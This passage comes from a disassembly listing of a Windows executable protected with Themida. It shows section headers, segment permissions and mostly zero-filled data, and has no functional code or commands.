		dd 4DBh	dup(0)
___		ends

; Section 2. (virtual address 00111000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00111000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 511000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00112000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00112000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 512000h
		dd 400h	dup(0)
_idata__	ends

; Section 4. (virtual address 00113000)
; Virtual size			: 00112000 (1122304.)
; Section size in file		: 00112000 (1122304.)
; Offset to raw	data for section: 00113000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 513000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 5 dup(0)
		public start
start		dd 0C54Ch dup(0)
		db 3 dup(0)
byte_544547	db 0			; DATA XREF: ___:off_445248o
		dd 7512h dup(0)
		db 3 dup(0)
		db 0
		dd 179B2h dup(0)
dword_5C005C	dd 0A858h dup(0)		db 0
byte_5EA1BD	db 3 dup(0)		; CODE XREF: sub_406890+12Bp
					; sub_409BC0+1Dp ...
		dd 0A2D8h dup(0)
dword_612D20	dd 0FCBh dup(0)			db 2 dup(0)
word_616C4E	dw 0			; DATA XREF: ___:off_444314o
		dd 3034h dup(0)
dword_622D20	dd 8B8h	dup(0)	Themida_	ends

; Section 5. (virtual address 00225000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00225000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 625000h
		align 2000h
_idata2		ends


		end start